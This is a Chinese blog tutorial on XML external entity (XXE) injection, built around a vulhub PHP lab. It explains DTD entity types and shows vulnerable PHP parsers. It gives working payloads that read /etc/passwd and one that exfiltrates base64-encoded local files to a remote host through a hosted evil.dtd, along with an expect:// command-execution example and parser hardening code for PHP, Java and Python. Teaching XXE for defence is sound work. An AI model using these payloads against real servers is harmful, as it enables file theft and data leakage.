64、简析XXE

最新推荐文章于 2023-03-14 16:08:34 发布
最新推荐文章于 2023-03-14 16:08:34 发布
阅读量315 收藏 1
点赞数

XML

更详细的XML介绍 https://blog.csdn.net/com_ma/article/details/73277535

个人理解

XML是一种较为通用的数据交互格式，在json出现之前较为流行，近几年逐渐被json所替代。
XML的格式类似于html，是html的超集。用于标记数据，大多数编程语言也内置了对XML的处理

XML格式

主要由XML声明、文档类型定义(DTD)、文档元素构成

<?xml version="1.0" ?>  <!--  XML声明 -->

<!DOCTYPE note[			<!-- 文档类型定义 -->
	<!ELEMENT note		(to,from,heading,body)>
	<!ELEMENT to		(#PCDATA)>
	<!ELEMENT from		(#PCDATA)>
	<!ELEMENT heading	(#PCDATA)>
	<!ELEMENT body		(#PCDATA)>
]>

<note> 					<!--  文档元素 -->
<to>beijing</to>
<from>zhejiang</from>
<heading>race</heading>
<body>testbody</body>
</note>

DTD实体声明

内部实体声明

声明过的值可以在怨怒是文档中用&name;的格式获取

<!DOCTYPE foo [
	<!ENTITY xxe  "sec test" >
]>
<root>
	<name>&xxe;</name>
</root>

此处相当于在DTD中定义了xxe的值为 sec test, 然后再文档元素中通过&xxe;来获取变量的值

外部实体声明

XXE也叫做XML外部实体注入，正是因为它利用了外部实体引用

<!ENTITY 实体名称 SYSTEM "URI">

外部实体引用支持通过协议，来动态的获取值
例如通过file://协议来读取文件内容

<!DOCTYPE foo [
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
	<name>&xxe;</name>
</root>

也正是因为这样，XXE的攻击从而就产生了
不同的语言支持的协议不同，这里盗一张图

参数实体声明

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

解析实体或者uri，进行xml解析，进而获得其中的变量

<!DOCTYPE foo [
	<!ENTITY  % xxe SYSTEM "http://xss.kingkk.com/xxe" >
	%xxe;
]>
<root>
	<name>&evil;</name>
</root>

远程服务器的xxe中的内容

<!ENTITY evil SYSTEM "file:///etc/passwd" >

获取其中定义的evil值，并在被攻击机中使用

file:///etc/passwd会在最后的被攻击机中解析，所以获得的是被攻击机的passwd，远程服务器相当于只是提供一个文本

这样也相当于

<!DOCTYPE foo [
	<!ENTITY  % xxe "<!ENTITY evil SYSTEM 'file:///etc/passwd'>" >
	%xxe;
]>
<root>
	<name>&evil;</name>
</root>

公共实体声明

不是很常用，了解一下即可

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

漏洞环境

还是用p师傅的vulhub，不然自己编译低版本xml可能要死过去 https://github.com/vulhub/vulhub/tree/master/php/php_xxe

  • php 7.0.30
  • apache2
  • libxml 2.8.0
    XXE漏洞于php版本无关，主要是libxml的拓展。2.9以后默认不使用外部实体，导致php的xxe几乎消亡

其中主要由三个文件，也分别对应着三个处理xml的函数，都可以触发XXE

SimpleXMLElemnet.php

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;

dom.php

<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

simplexml_load_string.php

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

XXE漏洞利用

有回显型

之前讲外部实体时就已经演示过了，利用外部实体，获取文件内容
然后利用输出就能够任意文件读取

<!DOCTYPE foo [
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
	<name>&xxe;</name>
</root>

echo $xml->name;就会将解析到的name值，也就是/etc/passwd的内容输出来

无回显

当利用不将对应的值输出来时，该如何进行攻击呢


// echo $xml->name;

这时可以借助http协议，将获取到文件内容发送到远程服务器上
从而获取文件内容

事先在远程服务上写入 evil.dtd （ % 需要实体编码成&#x25;

<!ENTITY &#x25; send SYSTEM 'http://xss.kingkk.com/?%file;'>

然后利用如下payload

<!DOCTYPE foo [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./dom.php">
    <!ENTITY  % xxe SYSTEM "http://xss.kingkk.com/evil.dtd" >
    %xxe;
    %send;
]>

先利用php为协议将文件用base64读取出来，然后以参数的形式发送到远程服务器
即可在服务器的log中看到base64加密后的内容

ssrf

由于有http协议，就能伪造请求，和ssrf同理，ssrf能做的事，xxe也都可以
比如什么内网探测，sql注入等。这里就不过多介绍

命令执行

需要一个额外的expect拓展，需要额外安装

<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls">
]>
 &f;

没有实际测试过

防御XXE

最简单也最彻底的防御就是禁用外部实体
php


libxml_disable_entity_loader(true);

java

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

过滤关键字的方法感觉有点傻，吃力不讨好

https://github.com/vulhub/vulhub/tree/master/php/php_xxe
https://blog.csdn.net/com_ma/article/details/73277535
http://www.freebuf.com/column/156863.html
https://security.tencent.com/index.php/blog/msg/69
https://www.jianshu.com/p/7325b2ef8fc9

FLy_鹏程万里
关注
XXE漏洞以及XXE漏洞如何修复
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
09-09 2万+
XXE漏洞是什么？XXE：XML External Entity 即外部实体，从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。这些就称为XXE漏洞。知道XXE漏洞前首先得先了解XML。XXE漏洞如何修复的方案一：使用开发语言提供的禁用外部实体的方法1.PHP开发语言禁用外部实体的方法：libxml_disable_entity_loader(true);XXE漏洞如何修复的方案二：尽量不要让用户直接
XXE——理论与实例
zxq850107005的博客
10-13 544
XXE(xml外部实体注入漏洞) 1、原理： ​ XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件和代码，造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。（XXE漏洞触发的点一般是可以上传xml文件的位置） ​ 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面
JAVA中XXE漏洞线索函数
zz_strive_2012的专栏
08-04 346
XXE审计函数 XML解析一般在导入配置、数据传输接口等场景可能会用到，涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体，从而判断是否存在XXE。部分XML解析接口（常见漏洞出现函数）如下： ...
XXE
anlalu233的博客
10-18 166
https://blog.csdn.net/u012991692/article/details/80866826 https://www.cnblogs.com/lcamry/p/5736998.html https://blog.csdn.net/u011721501/article/details/43775691
XXE详解
cute_phoebe的博客
03-14 320
XXE
简析xxe的攻击方式
05-09
### 简析XXE的攻击方式 #### XXE攻击概览 XML External Entity (XXE) 攻击是一种安全漏洞，它发生在应用程序解析XML数据时处理外部实体的方式不正确。这种类型的攻击能够泄露敏感信息、执行拒绝服务攻击或者进行...
XXE漏洞详解【内含vulnhub靶场XXE Lab:1详解】
07-30
XXE（XML External Entity）漏洞，全称为XML外部实体注入，是针对使用XML解析器的应用程序的一种安全漏洞。XML是一种标记语言，常用于数据交换，而外部实体是XML文档的一部分，允许引用外部资源，如文件系统、网络...
第五节 XXE漏洞利用 - 任意文件读取 无回显 -01
最新发布
09-15
XXE 漏洞利用 - 任意文件读取 无回显 XXE（XML External Entity）是一种常见的 Web 应用程序漏洞，攻击者可以通过构造恶意的 XML 文档， trick 服务器将任意文件读取出来，导致敏感信息泄露。在本节中，我们将详细...
WEB安全之XXE实体注入漏洞.pdf
12-12
【XXE漏洞详解】 XML（eXtensible Markup Language）是一种用于存储和传输数据的标记语言，它允许自定义标记并具有结构化的特点。在Web应用程序中，XML常用于数据交换和配置。然而，XML的这种灵活性也引入了安全...
xxe-lab靶场安装和简单php代码审计
永远是少年
12-23 3175
今天继续给大家介绍渗透测试相关知识，本文主要内容是xxe-lab靶场安装和简单php代码审计。 一、xxe-lab靶场简介 二、php xxe-lab靶场安装 三、xxe-lab靶场PHP代码审计
Xml外部实体注入(XXE)漏洞（九）
guanjian_ci的博客
02-23 681
转自腾讯安全应急响应中心 一、XML基础知识 XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。 DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。 内部声明DTD <!DOCTYPE根元素 [元素声明]> 引用外部DTD <!DOC..
XXE—实体注入、XXE-lab-master(php_xxe WriteUp)
weixin_41487522的博客
06-25 2112
XXE—实体注入 XXE是什么？ XXE=xml external entity 即外部实体，从安全角度理解成XML External Entity attack 外部实体注入攻击 典型的攻击如下： 定义实体必须写在DTD部分。 什么是XML？ XML 指可扩展标记语言（EXtensible Markup Language） XML 是一种标记语言，很类似 HTML XML 的设计宗旨是传输数据，而非显示数据 XML 标签没有被预定义。您需要自行定义标签。 XML 被设计为具有自我描述性。 XML 是 W3
文件读取 xxe_XXE
weixin_36165398的博客
01-14 745
一、 XXE是什么？有哪些危害？XML外部实体，允许XML引用外部数据作为变量。形式如下。]><user><username>&xxe;username><password>adminpassword>user>由于外部实体允许多种协议，所以XXE等同于任意文件读取+SSRFXXE靶场https://github....
XXE知识总结，有这篇就够了！
热门推荐
南迪叶先森
07-14 2万+
公粽号：黒掌 一个专注于分享渗透测试、黑客圈热点、黑客工具技术区博主！ XXE基础 XXE(XML External Entity Injection)全称为XML外部实体注入，由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体，有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。 XML基础 XML 指可扩展标记语言（EXtensible Markup Lang.
XXE漏洞深度解析与实战演练
本文档详细介绍了XXE（XML External Entity）漏洞的概念、危害、检测方法、利用技巧以及修复策略，并提供了多个实际案例进行演示。XXE漏洞主要发生在使用XML解析器处理用户输入的场景，攻击者可以通过构造恶意的XML...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值